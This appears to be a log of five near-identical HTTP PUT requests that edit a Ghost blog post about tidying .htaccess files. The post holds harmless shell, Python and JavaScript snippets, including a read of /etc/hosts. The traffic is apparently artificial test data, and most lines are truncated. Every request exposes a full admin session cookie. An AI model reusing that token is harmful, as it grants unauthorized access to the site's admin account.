{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8330", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8209", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8121", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8204", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8454", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", 